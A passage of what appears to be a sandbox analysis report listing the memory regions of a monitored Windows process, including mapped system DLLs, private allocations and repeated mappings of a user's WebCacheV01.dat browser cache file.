region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 486 start_va = 0x7ffb251b0000 end_va = 0x7ffb25397fff monitored = 0 entry_point = 0x7ffb251dba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 487 start_va = 0x7ffb25640000 end_va = 0x7ffb256a9fff monitored = 0 entry_point = 0x7ffb25676d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 488 start_va = 0x7ffb256b0000 end_va = 0x7ffb25764fff monitored = 0 entry_point = 0x7ffb256f22e0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 489 start_va = 0x7ffb25800000 end_va = 0x7ffb25842fff monitored = 0 entry_point = 0x7ffb25814b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 490 start_va = 0x7ffb25850000 end_va = 0x7ffb25e93fff monitored = 0 entry_point = 0x7ffb25a164b0 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\System32\\windows.storage.dll" (normalized: "c:\\windows\\system32\\windows.storage.dll") Region: id = 491 start_va = 0x7ffb25f00000 end_va = 0x7ffb26085fff monitored = 0 entry_point = 0x7ffb25f4ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 492 start_va = 0x7ffb26090000 end_va = 0x7ffb261e5fff monitored = 0 entry_point = 0x7ffb2609a8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 493 start_va = 0x7ffb261f0000 end_va = 0x7ffb2622afff monitored = 0 entry_point = 0x7ffb261f12f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 494 start_va = 0x7ffb26230000 end_va = 0x7ffb262dcfff monitored = 0 entry_point = 0x7ffb262481a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 495 start_va = 0x7ffb262e0000 end_va = 0x7ffb26331fff monitored = 0 entry_point = 0x7ffb262ef530 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 496 start_va = 0x7ffb264f0000 end_va = 0x7ffb2658cfff monitored = 0 entry_point = 0x7ffb264f78a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 497 start_va = 0x7ffb26590000 end_va = 0x7ffb266abfff monitored = 0 entry_point = 0x7ffb265d02b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 498 start_va = 0x7ffb266b0000 end_va = 0x7ffb26756fff monitored = 0 entry_point = 0x7ffb266bb4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 499 start_va = 0x7ffb267e0000 end_va = 0x7ffb27d3efff monitored = 0 entry_point = 0x7ffb269411f0 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 500 start_va = 0x7ffb27d40000 end_va = 0x7ffb27d9afff monitored = 0 entry_point = 0x7ffb27d538b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 501 start_va = 0x7ffb27e00000 end_va = 0x7ffb2807cfff monitored = 0 entry_point = 0x7ffb27ed4970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 502 start_va = 0x7ffb288f0000 end_va = 0x7ffb289b0fff monitored = 0 entry_point = 0x7ffb28910da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 503 start_va = 0x7ffb28a50000 end_va = 0x7ffb28af6fff monitored = 0 entry_point = 0x7ffb28a658d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 504 start_va = 0x7ffb28b00000 end_va = 0x7ffb28cc0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 505 start_va = 0x2360000 end_va = 0x2360fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002360000" filename = "" Region: id = 511 start_va = 0x2360000 end_va = 0x2367fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002360000" filename = "" Region: id = 945 start_va = 0x850000 end_va = 0x857fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000850000" filename = "" Region: id = 946 start_va = 0x890000 end_va = 0x89ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 947 start_va = 0x2360000 end_va = 0x2360fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002360000" filename = "" Region: id = 1054 start_va = 0x2360000 end_va = 0x2360fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002360000" filename = "" Region: id = 1596 start_va = 0x2360000 end_va = 0x2367fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002360000" filename = "" Region: id = 1597 start_va = 0x24c0000 end_va = 0x24c7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024c0000" filename = "" Region: id = 1598 start_va = 0x24d0000 end_va = 0x24d7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024d0000" filename = "" Region: id = 1599 start_va = 0x24e0000 end_va = 0x24e7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024e0000" filename = "" Region: id = 1600 start_va = 0x24f0000 end_va = 0x24f7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024f0000" filename = "" Region: id = 1601 start_va = 0x2500000 end_va = 0x2500fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002500000" filename = "" Region: id = 1602 start_va = 0x2510000 end_va = 0x2517fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002510000" filename = "" Region: id = 1603 start_va = 0x850000 end_va = 0x85ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1604 start_va = 0x2360000 end_va = 0x236ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1605 start_va = 0x24c0000 end_va = 0x24c1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000024c0000" filename = "" Region: id = 1606 start_va = 0x24d0000 end_va = 0x24dffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1607 start_va = 0x24f0000 end_va = 0x24fffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1608 start_va = 0x2500000 end_va = 0x250ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1609 start_va = 0x2510000 end_va = 0x2510fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002510000" filename = "" Region: id = 1614 start_va = 0x2510000 end_va = 0x2510fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002510000" filename = "" Region: id = 1615 start_va = 0x2520000 end_va = 0x2527fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002520000" filename = "" Region: id = 1616 start_va = 0x24c0000 end_va = 0x24cffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1617 start_va = 0x2510000 end_va = 0x2517fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002510000" filename = "" Region: id = 1619 start_va = 0x2520000 end_va = 0x252ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1620 start_va = 0x2510000 end_va = 0x2510fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002510000" filename = "" Region: id = 1621 start_va = 0x2510000 end_va = 0x2510fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002510000" filename = "" Region: id = 1622 start_va = 0x2510000 end_va = 0x2510fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002510000" filename = "" Region: id = 1623 start_va = 0x2530000 end_va = 0x2537fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002530000" filename = "" Region: id = 1624 start_va = 0x2510000 end_va = 0x2517fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002510000" filename = "" Region: id = 1625 start_va = 0x2530000 end_va = 0x2537fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002530000" filename = "" Region: id = 1626 start_va = 0x2540000 end_va = 0x2547fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002540000" filename = "" Region: id = 1627 start_va = 0x2550000 end_va = 0x2557fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002550000" filename = "" Region: id = 1628 start_va = 0x2560000 end_va = 0x2567fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002560000" filename = "" Region: id = 1629 start_va = 0x2570000 end_va = 0x2577fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002570000" filename = "" Region: id = 1630 start_va = 0x2580000 end_va = 0x2587fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002580000" filename = "" Region: id = 1631 start_va = 0x2590000 end_va = 0x2590fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002590000" filename = "" Region: id = 1632 start_va = 0x2590000 end_va = 0x2590fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002590000" filename = "" Region: id = 1633 start_va = 0x2590000 end_va = 0x2590fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002590000" filename = "" Region: id = 1634 start_va = 0x2590000 end_va = 0x2597fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002590000" filename = "" Region: id = 1635 start_va = 0x2590000 end_va = 0x2597fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002590000" filename = "" Region: id = 1636 start_va = 0x25a0000 end_va = 0x25a7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000025a0000" filename = "" Region: id = 1637 start_va = 0x25b0000 end_va = 0x25b7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000025b0000" filename = "" Region: id = 1638 start_va = 0x39a0000 end_va = 0x39a7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000039a0000" filename = "" Region: id = 1639 start_va = 0x39b0000 end_va = 0x39b7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000039b0000" filename = "" Region: id = 1640 start_va = 0x39c0000 end_va = 0x39c7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000039c0000" filename = "" Region: id = 1641 start_va = 0x3a20000 end_va = 0x3a27fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003a20000" filename = "" Region: id = 1642 start_va = 0x3a70000 end_va = 0x3a77fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003a70000" filename = "" Region: id = 1643 start_va = 0x3a90000 end_va = 0x3a97fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003a90000" filename = "" Region: id = 1644 start_va = 0x3aa0000 end_va = 0x3aa7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003aa0000" filename = "" Region: id = 1645 start_va = 0x3ab0000 end_va = 0x3ab7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003ab0000" filename = "" Region: id = 1646 start_va = 0x3c90000 end_va = 0x3c97fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003c90000" filename = "" Region: id = 1647 start_va = 0x3eb0000 end_va = 0x3eb7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003eb0000" filename = "" Region: id = 1648 start_va = 0x3ec0000 end_va = 0x3ec7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003ec0000" filename = "" Region: id = 1649 start_va = 0x3ed0000 end_va = 0x3ed7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003ed0000" filename = "" Region: id = 1650 start_va = 0x3ee0000 end_va = 0x3ee0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003ee0000" filename = "" Region: id = 1651 start_va = 0x3ee0000 end_va = 0x3ee0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003ee0000" filename = "" Region: id = 1652 start_va = 0x3ee0000 end_va = 0x3ee7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003ee0000" filename = "" Region: id = 1653 start_va = 0x3ee0000 end_va = 0x3ee7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003ee0000" filename = "" Region: id = 1654 start_va = 0x3ef0000 end_va = 0x3ef7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003ef0000" filename = "" Region: id = 1655 start_va = 0x3f00000 end_va = 0x3f07fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003f00000" filename = "" Region: id = 1656 start_va = 0x3f10000 end_va = 0x3f17fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003f10000" filename = "" Region: id = 1657 start_va = 0x3f20000 end_va = 0x3f27fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003f20000" filename = "" Region: id = 1658 start_va = 0x3f30000 end_va = 0x3f30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003f30000" filename = "" Region: id = 1659 start_va = 0x3f30000 end_va = 0x3f37fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003f30000" filename = "" Region: id = 1660 start_va = 0x3f40000 end_va = 0x3f47fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003f40000" filename = "" Region: id = 1661 start_va = 0x3f50000 end_va = 0x3f57fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003f50000" filename = "" Region: id = 1662 start_va = 0x3f60000 end_va = 0x3f67fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003f60000" filename = "" Region: id = 1663 start_va = 0x3f70000 end_va = 0x3f77fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003f70000" filename = "" Region: id = 1664 start_va = 0x3f80000 end_va = 0x3f87fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003f80000" filename = "" Region: id = 1665 start_va = 0x3f90000 end_va = 0x3f97fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003f90000" filename = "" Region: id = 1666 start_va = 0x3fa0000 end_va = 0x3fa7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003fa0000" filename = "" Region: id = 1667 start_va = 0x40b0000 end_va = 0x40b7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000040b0000" filename = "" Region: id = 1668 start_va = 0x40c0000 end_va = 0x40c7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000040c0000" filename = "" Region: id = 1669 start_va = 0x40d0000 end_va = 0x40d7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000040d0000" filename = "" Region: id = 1670 start_va = 0x40e0000 end_va = 0x40e7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000040e0000" filename = "" Region: id = 1671 start_va = 0x40f0000 end_va = 0x40f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000040f0000" filename = "" Region: id = 1672 start_va = 0x40f0000 end_va = 0x40f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000040f0000" filename = "" Region: id = 1673 start_va = 0x40f0000 end_va = 0x40f7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000040f0000" filename = "" Region: id = 1674 start_va = 0x40f0000 end_va = 0x40f7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000040f0000" filename = "" Region: id = 1675 start_va = 0x4100000 end_va = 0x4107fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004100000" filename = "" Region: id = 1676 start_va = 0x4110000 end_va = 0x4117fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004110000" filename = "" Region: id = 1677 start_va = 0x4120000 end_va = 0x4127fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004120000" filename = "" Region: id = 1678 start_va = 0x4130000 end_va = 0x4137fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004130000" filename = "" Region: id = 1679 start_va = 0x4140000 end_va = 0x4147fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004140000" filename = "" Region: id = 1680 start_va = 0x4150000 end_va = 0x4157fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004150000" filename = "" Region: id = 1681 start_va = 0x4160000 end_va = 0x4167fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004160000" filename = "" Region: id = 1682 start_va = 0x4170000 end_va = 0x4177fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004170000" filename = "" Region: id = 1683 start_va = 0x4180000 end_va = 0x4187fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004180000" filename = "" Region: id = 1684 start_va = 0x4190000 end_va = 0x4197fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004190000" filename = "" Region: id = 1685 start_va = 0x41a0000 end_va = 0x41a7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000041a0000" filename = "" Region: id = 1686 start_va = 0x41b0000 end_va = 0x41b7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000041b0000" filename = "" Region: id = 1687 start_va = 0x41c0000 end_va = 0x41c7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000041c0000" filename = "" Region: id = 1688 start_va = 0x41d0000 end_va = 0x41d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000041d0000" filename = "" Region: id = 1689 start_va = 0x41d0000 end_va = 0x41d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000041d0000" filename = "" Region: id = 1690 start_va = 0x41d0000 end_va = 0x41d7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000041d0000" filename = "" Region: id = 1691 start_va = 0x41d0000 end_va = 0x41d7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000041d0000" filename = "" Region: id = 1692 start_va = 0x41e0000 end_va = 0x41e7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000041e0000" filename = "" Region: id = 1693 start_va = 0x41f0000 end_va = 0x41f7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000041f0000" filename = "" Region: id = 1694 start_va = 0x4200000 end_va = 0x4207fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004200000" filename = "" Region: id = 1695 start_va = 0x4210000 end_va = 0x4217fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004210000" filename = "" Region: id = 1696 start_va = 0x4220000 end_va = 0x4227fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004220000" filename = "" Region: id = 1697 start_va = 0x4230000 end_va = 0x4237fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004230000" filename = "" Region: id = 1698 start_va = 0x4240000 end_va = 0x4247fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004240000" filename = "" Region: id = 1699 start_va = 0x4250000 end_va = 0x4257fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004250000" filename = "" Region: id = 1700 start_va = 0x4260000 end_va = 0x4267fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004260000" filename = "" Region: id = 1701 start_va = 0x4270000 end_va = 0x4277fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004270000" filename = "" Region: id = 1702 start_va = 0x4280000 end_va = 0x4287fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004280000" filename = "" Region: id = 1703 start_va = 0x4290000 end_va = 0x4293fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004290000" filename = "" Region: id = 1704 start_va = 0x42a0000 end_va = 0x42a7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000042a0000" filename = "" Region: id = 1705 start_va = 0x42b0000 end_va = 0x42b0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000042b0000" filename = "" Region: id = 1706 start_va = 0x42b0000 end_va = 0x42b0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000042b0000" filename = "" Region: id = 1707 start_va = 0x42b0000 end_va = 0x42b7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000042b0000" filename = "" Region: id = 1708 start_va = 0x42b0000 end_va = 0x42b7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000042b0000" filename = "" Region: id = 1709 start_va = 0x42c0000 end_va = 0x42c7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000042c0000" filename = "" Region: id = 1710 start_va = 0x42d0000 end_va = 0x42d7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000042d0000" filename = "" Region: id = 1711 start_va = 0x42e0000 end_va = 0x42e7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000042e0000" filename = "" Region: id = 1712 start_va = 0x42f0000 end_va = 0x42f7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000042f0000" filename = "" Region: id = 1713 start_va = 0x4300000 end_va = 0x4307fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004300000" filename = "" Region: id = 1714 start_va = 0x4310000 end_va = 0x4317fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004310000" filename = "" Region: id = 1715 start_va = 0x4320000 end_va = 0x4327fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004320000" filename = "" Region: id = 1716 start_va = 0x4330000 end_va = 0x4337fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004330000" filename = "" Region: id = 1717 start_va = 0x4340000 end_va = 0x4345fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004340000" filename = "" Region: id = 1718 start_va = 0x4350000 end_va = 0x4357fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004350000" filename = "" Region: id = 1719 start_va = 0x2510000 end_va = 0x251ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1720 start_va = 0x2530000 end_va = 0x253ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1721 start_va = 0x2540000 end_va = 0x254ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1722 start_va = 0x2550000 end_va = 0x255ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1723 start_va = 0x2560000 end_va = 0x256ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1724 start_va = 0x2570000 end_va = 0x257ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1725 start_va = 0x2580000 end_va = 0x258ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1726 start_va = 0x2590000 end_va = 0x259ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1727 start_va = 0x25a0000 end_va = 0x25affff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1728 start_va = 0x25b0000 end_va = 0x25bffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1729 start_va = 0x39a0000 end_va = 0x39affff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1730 start_va = 0x39b0000 end_va = 0x39bffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 1731 start_va = 0x39c0000 end_va 